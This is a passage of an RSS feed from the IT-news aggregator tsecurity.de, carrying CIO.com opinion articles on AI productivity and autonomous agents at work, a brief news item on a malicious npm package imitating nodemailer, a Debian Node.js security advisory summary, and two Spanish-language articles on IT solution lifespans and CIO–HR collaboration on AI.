<p>This new alliance is the true engine of modern innovation. It is a partnership where security is not a gatekeeper to marketing’s ambition, but the platform that enables it. By working in lockstep, marketing and IT leaders can transform their organization, empowering their teams to use the full potential of AI and other powerful technologies safely.</p>



<p>This is how we move beyond simply securing the business to building a secure business by design. It is how we unlock the future of what’s possible.</p>



<p>Curious about what Prisma<sup>®</sup> Access Browser can do for you? Browse bravely <a href="https://www.paloaltonetworks.com/sase/prisma-access-browser" target="_blank" rel="sponsored">here</a>.</p>



<hr class="wp-block-separator has-alpha-channel-opacity">



<p><a></a></p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How I use AI to boost productivity and revenue]]></title>
<description><![CDATA[“Organizations using AI to augment people are seeing growth in both innovation and revenues.” — Satya Nadella, Microsoft




When my day starts with a headache, it usually means I’m being asked to defend what I’ve spent. No, not my spouse. It’s usually our CEO asking what revenues or cost savings...]]></description>
<link>https://tsecurity.de/de/2999762/it-security-nachrichten/how-i-use-ai-to-boost-productivity-and-revenue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2999762/it-security-nachrichten/how-i-use-ai-to-boost-productivity-and-revenue/</guid>
<pubDate>Tue, 23 Sep 2025 15:04:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p>“Organizations using AI to augment people are seeing growth in both innovation and revenues.” — Satya Nadella, Microsoft</p>
</blockquote>



<p>When my day starts with a headache, it usually means I’m being asked to defend what I’ve spent. No, not my spouse. It’s usually our CEO asking what revenues or cost savings I’ve generated with my budget.</p>



<p>A close second is when I’m too busy fighting fires — instead of others fighting them (better yet: having no fires!) — to do the projects I actually want to do.</p>



<p>Coffee and AI usually help.</p>



<p>Seriously?</p>



<p>Yes. There are a few AIs I work with (or know well) that I find particularly useful.</p>



<h2 class="wp-block-heading">AI to boost revenue</h2>



<p>On the yes-our-new-AI-project-leads-to-revenues front, most CIOs are well aware of companion AI that suggests cross-selling or provides problem-solving help. There’s another, called StreamzAI, that provides each salesperson with a single metric of knowledge and confidence.</p>



<p>This PULSE score is directly correlated with customer experience and sales outcomes, and the management dashboard shows sales readiness in real-time for individuals, teams, and the full salesforce.</p>



<p>With learning essential to sales performance — and L&amp;D budgets under constant threat — having a single, reliable metric tied to learning AND revenues is a game changer.</p>



<h2 class="wp-block-heading">AI to cut costs and boost productivity</h2>



<p>Some AI initiatives are all about automating what is currently human work. While that can improve accuracy, volume, and 24×7 access, it doesn’t always, and AI isn’t always cheaper than humans. It also usually requires some oversight by someone who knows what it’s trying to do (so, no, you can’t fire everyone).</p>



<p>I just heard a TED talk that said companies that augment rather than only automating achieve 5x ROI and a more engaged workforce. However, I haven’t been able to find a study that supports that, and my AI couldn’t, either.</p>



<p>What studies do show is that 79% of the world’s workforce is not engaged (or is actively disengaged), and this costs the global economy USD 9.6 trillion in lost productivity annually, i.e., 9% of global GDP.</p>



<p>How much of your company’s productivity is 9%? That’s the cost of non-engagement.</p>



<p>Why do I ask? Because studies show that human-AI augmentation is associated with increased employee engagement (as in my own organization), and workers collaborating with AI report higher job satisfaction and a stronger sense of purpose. Companies that use AI to augment humans (vs. eliminating) see the greatest performance improvements. Examples include AIG, GE and Unilever’s boost in productivity, efficiency, and innovation.</p>



<p>For numbers in your own organization, I’m afraid you’ll have to collect them as part of your existing push for data-driven decision making. It’ll mean tapping into all the productivity and engagement data you collect today, with special attention to data before, during and after you integrate humans with new AI systems.</p>



<h2 class="wp-block-heading">AI for learning and performance</h2>



<p>I work with an AI-enabled learning tutor (AI-ELT) as an MBA faculty member. It gives personal help in a natural, audio-visual, conversational format 24×7; coaches instead of giving answers; and (for gamification lovers) instantly gives scores throughout the conversation on subject mastery AND presentation skills. We track a plethora of learning outcomes, and they all went up immediately.</p>



<figure class="wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio"><div class="wp-block-embed__wrapper youtube-video">

</div></figure>



<p>AI-ELT also helps with job interviews, again focusing on both content and presentation skills. Before AI-ELT, our MBAs interviewed with four companies on average to get an offer. Now they only need to interview with two.</p>



<p>In a corporate context, it would be useful not only for general employee learning and coaching but especially for sales teams, leadership-level media readiness, etc.</p>



<h2 class="wp-block-heading">My own digital twin</h2>



<p>I wrote another CIO article about <a href="https://www.cio.com/article/3974951/how-i-digitally-twinned-myself-and-why-you-should-too.html">how I digitally twinned myself and why you should, too</a> (actually, that was the title), so I won’t elaborate here. That said, it’s been a delight to see readers, speaking attendees, workshop participants and even family members talk with her and ask her questions I’d otherwise have to field.</p>



<p>You might also find that such an SLM closed AI takes work away from your employees and yourself (so, a productivity boost) more securely than open AI. Visit  <a href="http://cj2.personal.ai/" target="_blank" rel="nofollow">CJ2.personal.ai</a> to talk with my digital twin yourself.</p>



<h2 class="wp-block-heading">AI for workforce/skill mapping and promotions</h2>



<p>I’m also running a pilot with SkillmotionAI to AI-analyze employees’ skills and share with them what skills they’ll need for the next step in their career. It also shares where to get the skills (publicly available programs). The analysis can be stacked, showing team skills (for plugging holes and building more robust teams) and skills in an organization overall.</p>



<p>That’ll be key when projecting the future workforce needed and estimating hiring or L&amp;D.</p>



<h2 class="wp-block-heading">AI for human SEO/AIEO</h2>



<p>Since most people opt to base the skill assessment on LinkedIn profile rather than questionnaire, we’ve found that sometimes, people don’t need more skills. They’re just not presenting themselves well on LinkedIn or a CV. Although CVs have gotten shorter over the years, now reducing a 25-year career to two pages (four in certain fields), the trend is now reversing, thanks to AI.</p>



<p>We’re shifting from human-read LinkedIn profiles and CVs to AI-read. With AI’s appetite for data, now more is better. I was recently contacted by an organization that screened 1.25 million LinkedIn profiles. You know who read those profiles. I’m thankful I was too lazy to summarize the text I cut and pasted from consulting proposals 20 years ago (when more data was better).</p>



<p>Eventually, laziness wins.</p>



<p>Has the AI-HR trend really taken hold? Yes. Now, 82% of companies use AI to review resumes, and plans are in place to use AI to: ask interview questions (76%); collect facial recognition data (63%); analyze candidates’ language (62%); transcribe interviews (60%); and evaluate language, body language, or tone of voice (59%).</p>



<p>In fact, 24% of companies have AI conduct the entire interview process, and 70% of companies let AI eliminate candidates without human oversight.</p>



<p>And yet, nearly all companies surveyed report that AI makes biased recommendations.</p>



<p>I’ll just let that statement hang there without further comment.</p>



<p>If you’re involved in these AI-HR projects, do make sure you have an AI ethicist (or team) and that you’re best friends with your Chief Legal Officer.</p>



<p>And be sure to share with your mentees (and your kids) that now they need SEO/AIEO for their LinkedIn and CVs, as well as AI coaching to interview with AI’s.</p>



<h2 class="wp-block-heading">AI agent revenues</h2>



<p>Just as humans need to market themselves to AI, companies and products will increasingly need to market to AI agents, not humans. You’ll need to alert your CMO and head of ESG/CSR and help them get their messages out effectively, so humans who alert their AI agents to buy sustainable products from ethical companies will find their way to you.</p>



<h2 class="wp-block-heading">Prepping your CEO</h2>



<p>Remember to coach your CEO to clearly deliver the following message to the entire workforce: “Instead of AI taking jobs away, we’re using it to help you build skills, move up the ladder and engage in more human and productive work, focused on missions you care about. And my AI coached me on how to deliver this message really well. [smile here]”</p>



<h2 class="wp-block-heading">Finally, you</h2>



<p>For now, while using AI to build your skills and present yourself well to take your CEO’s job:</p>



<ul class="wp-block-list">
<li>Envision the revenue, cost, productivity and other impacts of the AI projects you’re doing, plus new ones you believe will have a forceful impact.</li>



<li>Gather data (internally, plus external research across companies) to benchmark today and measure the impact of your initiatives.</li>



<li>Deliver initiatives, rinse and repeat.</li>
</ul>



<p>For finances, you’ll want data on revenue growth linked to AI-augmented teams; sales per employee; reduction in labor, time, materials, etc.; customer acquisition/retention (including faster onboarding, less churn, etc.). For productivity, you’ll want task completion rates, error rates, process/project cycle times and throughput. For quality and innovation, you’ll want customer satisfaction, product/service quality and innovation rates, e.g., number of new ideas, new ideas implemented, features released, patents filed, etc.</p>



<p>For engagement, collaboration and skills/growth it’ll be engagement scores from Gallup Q12 surveys, Glint, etc.; net promoter score (for employees recommending your organization); job satisfaction; absenteeism; turnover; frequency and quality of human–AI interaction (self-reported and system logs); AI tool adoption and utilization rates; skills development using/alongside AI; and role changes/promotions linked to AI skill adoption.</p>



<p>Remember to collect and share qualitative data/stories that’ll soon become legends and part of your culture, as well as making the numbers feel “real” and personal.</p>



<p>Do you really want to be collecting all this data? No, probably not all. But you do collect data already for data-based decision making, and you’ll need data to support the initiatives you know in your gut are the right way forward.</p>



<p>Then, after a little analysis, you can give your own TED talk.</p>



<p>And with a proven track record of measured business impact, your day should start with no more headaches — until the next technological revolution.</p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><strong><br></strong><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The rise of the agentic economy: How autonomous AI is reshaping the future of work]]></title>
<description><![CDATA[The future of work is not just about automation; it’s about autonomy. We’re on the cusp of a revolutionary shift, moving beyond simple tools and algorithms to an era where intelligent, self-directed AI agents will play an increasingly prominent role in our economy. This is the agentic economy, an...]]></description>
<link>https://tsecurity.de/de/2972347/it-security-nachrichten/the-rise-of-the-agentic-economy-how-autonomous-ai-is-reshaping-the-future-of-work/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2972347/it-security-nachrichten/the-rise-of-the-agentic-economy-how-autonomous-ai-is-reshaping-the-future-of-work/</guid>
<pubDate>Mon, 08 Sep 2025 16:05:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>The future of work is not just about automation; it’s about <strong>autonomy</strong>. We’re on the cusp of a revolutionary shift, moving beyond simple tools and algorithms to an era where intelligent, self-directed AI agents will play an increasingly prominent role in our economy. This is the <strong>agentic economy</strong>, and it’s poised to redefine everything from job roles to business models.</p>



<h2 class="wp-block-heading">The new engine of business growth: From tools to teammates</h2>



<p>At its core, the agentic economy describes a system where <strong>AI agents</strong> are not just executing pre-programmed commands but are capable of:</p>



<ul class="wp-block-list">
<li><strong>Understanding complex goals:</strong> They can interpret high-level objectives rather than just specific instructions.</li>



<li><strong>Planning and executing multi-step tasks:</strong> Breaking down a goal into sub-tasks and carrying them out independently.</li>



<li><strong>Learning and adapting:</strong> Improving their performance over time based on feedback and new information.</li>



<li><strong>Interacting with other agents and humans:</strong> Collaborating and communicating to achieve shared objectives.</li>



<li><strong>Initiating work:</strong> Proactively identifying opportunities or needs and taking action without direct human prompting.</li>
</ul>



<p>Think of it this way: instead of using a spell-checker (a tool), a marketer might soon deploy a “content agent” that researches a topic, drafts a blog post, optimizes it for SEO, and even schedules its publication, all with minimal human oversight.</p>



<h2 class="wp-block-heading">Beyond automation: The power of autonomy</h2>



<p>We’ve seen automation transform industries for decades. Robots assemble cars, software automates accounting, and algorithms manage supply chains. The agentic economy takes this to the next level by introducing <strong>agency</strong>.</p>



<ul class="wp-block-list">
<li><strong>From “Do X” to “Achieve Y”:</strong> Humans will shift from giving granular instructions to setting high-level strategic goals.</li>



<li><strong>Scaling human capabilities:</strong> A single individual or small team could manage vast, complex projects by deploying and overseeing a network of AI agents, each specializing in different functions.</li>



<li><strong>New forms of value creation:</strong> Agents could discover novel solutions, optimize processes in ways humans haven’t considered, or even create entirely new services.</li>
</ul>



<h2 class="wp-block-heading">New operating model: The human-agent hybrid workforce</h2>



<p>The advent of the agentic economy will bring profound changes:</p>



<h3 class="wp-block-heading">Redefining job roles across functions</h3>



<p>New roles will emerge focusing on designing, training, monitoring, and managing fleets of AI agents, while existing roles will evolve significantly.</p>



<ul class="wp-block-list">
<li><strong>Marketing:</strong> A content creator might evolve into a creative director and agent orchestrator. Instead of writing every blog post, they’ll define campaigns, guide AI content agents to generate drafts, refine AI-created visuals, and strategize cross-channel distribution, ensuring brand voice consistency.</li>



<li><strong>Sales:</strong> A traditional sales representative could become an AI-enhanced relationship manager. AI agents might handle lead qualification, initial outreach, scheduling, and even personalized follow-ups, freeing the human to focus on complex negotiations, strategic account development, and building deeper client relationships.</li>



<li><strong>Customer service:</strong> A customer support agent transforms into a complex problem solver and empathy specialist. AI agents will handle routine inquiries, FAQs, and common troubleshooting, while the human agent steps in for emotionally charged interactions, unique problems that require creative solutions, or situations demanding genuine human understanding.</li>



<li><strong>Finance:</strong> An accountant may become a financial strategist and AI auditor. AI agents will automate data entry, reconciliation, and compliance checks. The human professional will analyze complex financial models, identify strategic investment opportunities, and interpret AI-generated reports to advise on business growth.</li>



<li><strong>Software development:</strong> A software engineer could evolve into an AI system architect. While AI agents might write boilerplate code, perform testing, and even suggest optimizations, the human engineer will design the overarching system architecture, define agent interactions, and solve highly complex, novel programming challenges.</li>
</ul>



<p>This shift allows humans to focus on high-level strategy, creative innovation, complex problem-solving, and interpersonal collaboration – areas where human intuition and empathy remain paramount.</p>



<h3 class="wp-block-heading">Increased productivity and efficiency</h3>



<ul class="wp-block-list">
<li>Tasks that once took days or weeks could be completed in hours or minutes by agents working around the clock.</li>



<li>Businesses can operate with leaner teams, potentially increasing profitability and enabling smaller entities to compete with larger ones.</li>
</ul>



<h3 class="wp-block-heading">New business models and industries</h3>



<ul class="wp-block-list">
<li>We’ll see the rise of “agent-as-a-service” platforms.</li>



<li>Existing businesses will integrate agents to offer entirely new products and services, or to personalize experiences at an unprecedented scale.</li>



<li>The ROI of agentic initiatives must be measured not just in cost savings but in new value creation, market share gains, and enhanced customer satisfaction.</li>
</ul>



<h3 class="wp-block-heading">The importance of human-centric skills</h3>



<ul class="wp-block-list">
<li><strong>Critical thinking &amp; problem solving:</strong> Evaluating agent outputs and identifying new strategic directions.</li>



<li><strong>Creativity &amp; innovation:</strong> Generating novel ideas that agents can then execute.</li>



<li><strong>Emotional intelligence &amp; empathy:</strong> Essential for leadership, team collaboration, and customer relations.</li>



<li><strong>Ethical reasoning:</strong> Ensuring AI agents operate within ethical boundaries and align with human values.</li>
</ul>



<h3 class="wp-block-heading">Addressing the challenges</h3>



<ul class="wp-block-list">
<li><strong>Ethical concerns:</strong> How do we ensure agents act responsibly and ethically? Who is accountable when an agent makes a mistake?</li>



<li><strong>Job displacement:</strong> While new jobs will emerge, some existing roles will undoubtedly be automated, requiring significant reskilling and upskilling initiatives.</li>



<li><strong>Security &amp; control:</strong> Ensuring agents operate securely and remain aligned with human intent will be paramount.</li>
</ul>



<h2 class="wp-block-heading">A call to action for leadership</h2>



<p>The agentic economy isn’t a distant sci-fi fantasy; it’s already beginning to take shape. The time to prepare is now.</p>



<ul class="wp-block-list">
<li><strong>To the CEO/C-suite</strong>: Your vision will define how agents unlock new value. Foster a culture of innovation<strong> –</strong> encourage experimentation with AI agents to identify new efficiencies and opportunities.</li>



<li><strong>To the CHRO</strong>: Your talent strategy will be your greatest competitive lever.<strong> </strong>Invest in reskilling – collaborate with partners and educational institutions on programs to help workers adapt to new roles.</li>



<li><strong>To the CIO/CTO/Chief AI officer</strong>: Your technical foresight will be the foundation of this new era.<strong> </strong>Engage in strategic partnerships for unique value creation. Establish a robust technical framework that includes developing clear policies for data governance and ensuring agents operate securely and remain aligned with human intent.</li>



<li><strong>To the CMO</strong>: Your creative leadership will ensure agents amplify, not diminish, your brand’s voice.</li>
</ul>



<p>The world of work is changing, and those who understand and embrace the rise of the agents will be best positioned to thrive. The agentic economy promises a future where human ingenuity is amplified by the power of autonomous AI. It’s a journey that requires foresight, adaptability, and a commitment to harnessing these powerful technologies responsibly.</p>



<p></p>



<p><strong>This article is published as part of the Foundry Expert Contributor Network</strong>.<br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Malicious npm Package nodejs-smtp Mimics Nodemailer, Targets Atomic and Exodus Wallets]]></title>
<description><![CDATA[Cybersecurity researchers have discovered a malicious npm package that comes with stealthy features to inject malicious code into desktop apps for cryptocurrency wallets like Atomic and Exodus on Windows systems.
The package, named nodejs-smtp, impersonates the legitimate email library nodemailer...]]></description>
<link>https://tsecurity.de/de/2969096/it-security-nachrichten/malicious-npm-package-nodejs-smtp-mimics-nodemailer-targets-atomic-and-exodus-wallets/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2969096/it-security-nachrichten/malicious-npm-package-nodejs-smtp-mimics-nodemailer-targets-atomic-and-exodus-wallets/</guid>
<pubDate>Sat, 06 Sep 2025 23:33:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Cybersecurity researchers have discovered a malicious npm package that comes with stealthy features to inject malicious code into desktop apps for cryptocurrency wallets like Atomic and Exodus on Windows systems.
The package, named nodejs-smtp, impersonates the legitimate email library nodemailer with an identical tagline, page styling, and README descriptions, attracting a total of 347]]></content:encoded>
</item>
<item>
<title><![CDATA[Mehrere Probleme in nodejs (Debian)]]></title>
<description><![CDATA[]]></description>
<link>https://tsecurity.de/de/2965399/it-security-nachrichten/mehrere-probleme-in-nodejs-debian/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2965399/it-security-nachrichten/mehrere-probleme-in-nodejs-debian/</guid>
<pubDate>Fri, 29 Aug 2025 23:18:53 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
</item>
<item>
<title><![CDATA[DSA-5991-1 nodejs - security update]]></title>
<description><![CDATA[Multiple vulnerabilities were discovered in Node.js, which could result
in denial of service, HTTP request smuggling, privilege escalation, a
side channel attack against PKCS#1 1.5 or a bypass of network import
restrictions.


https://security-tracker.debian.org/tracker/DSA-5991-1]]></description>
<link>https://tsecurity.de/de/2965344/unix-server/dsa-5991-1-nodejs-security-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2965344/unix-server/dsa-5991-1-nodejs-security-update/</guid>
<pubDate>Fri, 29 Aug 2025 22:05:49 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Multiple vulnerabilities were discovered in Node.js, which could result
in denial of service, HTTP request smuggling, privilege escalation, a
side channel attack against PKCS#1 1.5 or a bypass of network import
restrictions.

<p>
<a href="https://security-tracker.debian.org/tracker/DSA-5991-1">https://security-tracker.debian.org/tracker/DSA-5991-1</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[La vida útil reducida de las soluciones TI: un reto emergente para los CIOs]]></title>
<description><![CDATA[Es una de las cosas que se dicen los CIOs: el ritmo de innovación es cada vez más rápido. Seguir ese ritmo ha llevado a los ejecutivos de TI a aumentar el gasto. Gartner pronostica que el gasto mundial en TI aumentará un 7,9 % este año en comparación con 2024. Se espera que la inversión en softwa...]]></description>
<link>https://tsecurity.de/de/2964090/it-security-nachrichten/la-vida-til-reducida-de-las-soluciones-ti-un-reto-emergente-para-los-cios/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2964090/it-security-nachrichten/la-vida-til-reducida-de-las-soluciones-ti-un-reto-emergente-para-los-cios/</guid>
<pubDate>Fri, 29 Aug 2025 10:19:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Es una de las cosas que se dicen los CIOs: el ritmo de innovación es cada vez más rápido. Seguir ese ritmo ha llevado a los ejecutivos de TI a aumentar el gasto. Gartner pronostica que <strong>el gasto mundial en TI aumentará un 7,9 % este año</strong> en comparación con 2024. Se espera que la inversión en software crezca en un 10,5 %, a pesar de que muchos CIOs han pausado la inversión neta nueva debido a la incertidumbre macroeconómica, según informa la consultora.</p>



<p>Uno de los principales factores que impulsan este crecimiento es la <strong>menor vida útil de las soluciones de TI implementadas en la empresa</strong>, según señalan los propios CIOs, consultores e investigadores.</p>



<p>“Los ciclos tecnológicos se suceden cada vez más rápido y algunas soluciones evolucionan tan rápido que ahora son una apuesta a un año vista, no a tres o cinco años, para los CIOs”, afirma Craig Kane, socio del área digital y analítica de Kearney, una firma global de consultoría estratégica y de gestión. Julie Irish, vicepresidenta sénior y CIO de la empresa tecnológica Couchbase, observa una rotación más rápida de soluciones de TI en su empresa.</p>



<p><strong>El auge de la IA también influye</strong>. Irish está viendo un aumento en la rotación de soluciones que respaldan el trabajo de comercialización, a medida que los proveedores de ese sector compiten por crear aplicaciones que incorporen cantidades cada vez más inteligencia artificial. Esto puede llevar a los líderes empresariales a exigir lo último y lo mejor. “Hay muchas más soluciones alternativas con nuevas capacidades de IA que interesan a las empresas”, afirma Irish.</p>



<p>El dinero también contribuye un cambio más acelerado de las soluciones de TI, afirma Irish, quien registra saltos inesperados en los costes de renovación de algunos proveedores TI de los que habían implementado algunos productos en la empresa. Esto los ha llevado a cambiar de proveedor antes de lo previsto. “Eso está impulsando el cambio. Siempre ha ocurrido en cierta medida, pero ahora está ocurriendo con más frecuencia”, añade Irish.</p>



<p>Además, Irish afirma que <strong>algunos proveedores no se están adaptando al rápido ritmo de las innovacione</strong>s del mercado, lo que provoca que reemplacen sus soluciones antes de lo que Couchbase había planeado. “Habrá algunas [soluciones] que triunfen y otras que no”, afirma.</p>



<p>Otro factor que impulsa la rápida rotación es la facilidad para cambiar de una aplicación a otra en esta era de la computación en la nube y el software como servicio (SaaS). <strong>“Da casi miedo lo fácil que es implementar una nueva solució</strong>n”, afirma Irish. “La tecnología es muy rápida desde el punto de vista de la implementación; no dedicamos tanto tiempo a migraciones ni a la implementación”.</p>



<h2 class="wp-block-heading">Aplicaciones desechables y nuevos comienzos</h2>



<p>Otros CIOs llegan a conclusiones similares. “Vivimos en una época de altas expectativas de uso. Cada día hay una nueva tecnología que protagoniza <em>hype</em> y a los CIO se les pregunta constantemente cómo podemos, como empresa, aprovechar esta nueva solución”, afirma Chad Wright, CIO de Boston Dynamics. “Hoy en día, los proveedores de tecnología pueden avanzar con mayor rapidez con mejores herramientas y prácticas de desarrollo y esto alimenta la demanda que generan los clientes”.</p>



<p>Greg Taffet, un CIO fraccional que trabaja en Ceres Environmental y otras organizaciones, también ha constatado que <strong>la vida útil de las soluciones se ha reducido</strong>. “En algunos casos, estoy reemplazando soluciones después de un par de años, porque en ocasiones es mejor empezar con nuevas herramientas para obtener mejores resultados que instalar parches y actualizaciones para la solución que ya tenemos”, afirma Taffet.</p>



<p>Algunos programas no duran ni meses y mucho menos un año o dos, añade. El experto señala el <strong>creciente uso de aplicaciones desechables </strong>(aplicaciones creadas para una necesidad específica del momento y luego reemplazadas o descartadas por completo) como un ejemplo extremo de esta tendencia. Taffet afirma que no es solo el rápido ritmo de la innovación tecnológica lo que requiere una rotación más rápida de soluciones; también es el ritmo cada vez más acelerado de los negocios, el mercado y las regulaciones.</p>



<p>“Con todos esos cambios, a veces nos damos cuenta de que, de repente, la aplicación que tenemos ya no es la más adecuada para nuestro negocio”, afirma. “En mis propias empresas, veo que las cosas evolucionan hacia una vida útil de un año y algunas de las soluciones principales, de dos a tres años”, señala.</p>



<h2 class="wp-block-heading">La duración variable del ciclo de vida de una solución</h2>



<p>No todos los CIOs cambian de software a la misma velocidad. Taffet, Irish y otros directores de tecnología explican que no es la vida útil de todo el software y de todas las soluciones TI de su empresa la que mengua. De hecho, muchos proveedores actualizan sus aplicaciones con nuevas características y funciones para adaptarse a las demandas del negocio y del mercado; actualizaciones que ayudan a prolongar la vida útil de sus soluciones.</p>



<p>Además, el ciclo de renovación de las principales soluciones no es más rápido ahora que lo que lo era hace cinco o diez años, como apunta Kane, de Kearney.</p>



<p>El software de planificación de recursos empresariales (ERP), por ejemplo, tiende a permanecer inalterado durante mucho tiempo, afirma, resaltando su alto coste, el esfuerzo y la complejidad asociados a la implementación de un nuevo ERP, especialmente en las grandes empresas. La decisión de <strong>reemplazar un ERP existente por otro no se toma a la ligera ni rápidamente</strong>, suma Kane, y añade que los sistemas ERP en las empresas del <em>Fortune 100</em> pueden tener una vida útil de 15 a 20 años.</p>



<p>Aun así, Eric Bloom, director ejecutivo del  IT Management and Leadership Institute, añade que una parte importante de esta rápida rotación de soluciones podría ser innecesaria. La innovación tecnológica se está produciendo más rápido ahora que en el pasado, concede Bloom, señalando que nos encontramos en un auge de innovación, concretamente en torno a la IA, y que la innovación se ralentizará a medida que la tecnología madure.</p>



<p>Pero este experto no cree que estos picos de innovación requieran siempre una sustitución más rápida de soluciones, y atribuye buena parte de la rápida rotación de soluciones de software en las empresas actuales <strong>más al miedo a perderse algo (FOMO) que a la necesidad</strong>. “Veo que la ansiedad por mantenerse al día con la tecnología y las nuevas innovaciones impulsa parte de esta tendencia, y los proveedores siempre están mostrando algo nuevo, o hay que actualizar”, afirma.</p>



<p>Además, señala que la rápida rotación de soluciones por razones ajenas a las verdaderas necesidades del negocio generalmente no ofrece ni beneficios ni retorno de la inversión.</p>



<h2 class="wp-block-heading">Remordimiento del comprador</h2>



<p>Eso explica, en parte, por qué tantas empresas se arrepienten de sus compras de software, afirma Olivia Montgomery, analista principal asociada de Capterra, una plataforma de revisión y calificación de software que conecta a compradores y proveedores. El estudio <em>2025 Tech Trends Survey</em> de Capterra revela que <strong>el 59 % de las 3500 empresas encuestadas se arrepintieron de haber comprado softwar</strong>e. Además, más de la mitad de estos compradores arrepentidos reportaron pérdidas financieras —desde significativas hasta monumentales— derivadas de estas inversiones.</p>



<p>“El mercado del software está inundado de nuevas soluciones y las principales empresas lanzan numerosos lanzamientos y actualizaciones. Esto puede abrumar a sus clientes”, explica Montgomery. “Hay más herramientas en el mercado y se les hace más marketing, por lo que estamos observando tasas de reemplazo más altas”.</p>



<p>Montgomery afirma que los directores de TI y sus colegas a veces piensan que las soluciones que tienen implementadas se están quedando atrás de las innovaciones del mercado y, por ello, sus negocios también se quedarán atrás. Puede que sea así, pero es posible que simplemente se estén dejando llevar por una publicidad que exagera, asegura.</p>



<p>La experta cita igualmente <strong>la rápida rotación de ejecutivos como un factor que contribuye</strong> a la cada vez más corta vida útil de las soluciones de TI. Los nuevos CIOs y ejecutivos de negocios a menudo buscan reemplazar algunas de las soluciones existentes que han heredado por otras que prefieren o que usaban en sus trabajos anteriores. Esos casos también suelen generar arrepentimiento, añade Mongomery.</p>



<h2 class="wp-block-heading">“Céntrate primero en el problema del negocio”</h2>



<p>Por otro lado, las compañías con menos probabilidades de arrepentirse de las compras de software son aquellas en las que sus CIOs comprenden los objetivos del negocio y cuentan con procesos sólidos para evaluar si las soluciones existentes satisfacen las necesidades de la empresa y si realmente se necesitan nuevas herrmientas, según un estudio de Capterra.</p>



<p>Taffet, el CIO fraccional, afirma que esto ha sido clave en su día a día cuando siente la presión de implementar nuevas soluciones. “El hecho de que la tecnología cambie tan rápido no es algo en lo que realmente me centre. Sigo teniendo que dar prioridad primero a los problemas de negocio y luego a aplicar la tecnología adecuada”, afirma. “Así que, <strong>si tengo algo que funciona y cumple con los requisitos del negocio, no se reemplaza automáticamente</strong> porque la tecnología cambie”, señala.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[La colaboración entre CIOs y CHROs, clave en la integración de IA en la empresa]]></title>
<description><![CDATA[La inteligencia artificial es la tecnología de moda en todos los departamentos de TI empresariales y en muchas otras áreas de negocio. Si bien el éxito de herramientas como ChatGPT ha popularizado el uso consciente de IA entre gran parte de la fuerza laboral, otras funcionalidades —también integr...]]></description>
<link>https://tsecurity.de/de/2959762/it-security-nachrichten/la-colaboracin-entre-cios-y-chros-clave-en-la-integracin-de-ia-en-la-empresa/</link>
<guid isPermaLink="true">https://tsecurity.de/de/2959762/it-security-nachrichten/la-colaboracin-entre-cios-y-chros-clave-en-la-integracin-de-ia-en-la-empresa/</guid>
<pubDate>Wed, 27 Aug 2025 08:19:34 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>La <strong>inteligencia artificial</strong> es la tecnología de moda en todos los departamentos de TI empresariales y en muchas otras áreas de negocio. Si bien el éxito de herramientas como <a href="https://www.computerworld.es/article/3614933/dos-anos-de-chatgpt-la-conversacion-que-no-cesa.html" target="_blank">ChatGPT</a> ha popularizado el uso consciente de IA entre gran parte de la fuerza laboral, otras funcionalidades —también integradas, quizás menos visibles— estaban siendo ya aplicadas. Sin embargo, <strong>la adopción de la IA no siempre resulta sencilla</strong>. Para poder integrarla con éxito hay que dar con casos de uso en los que realmente tenga un impacto significativo, formar a la plantilla para aprovechar todo su potencial o minimizar reticencias, entre otros. Y esto no es solo trabajo del o la CIO.</p>



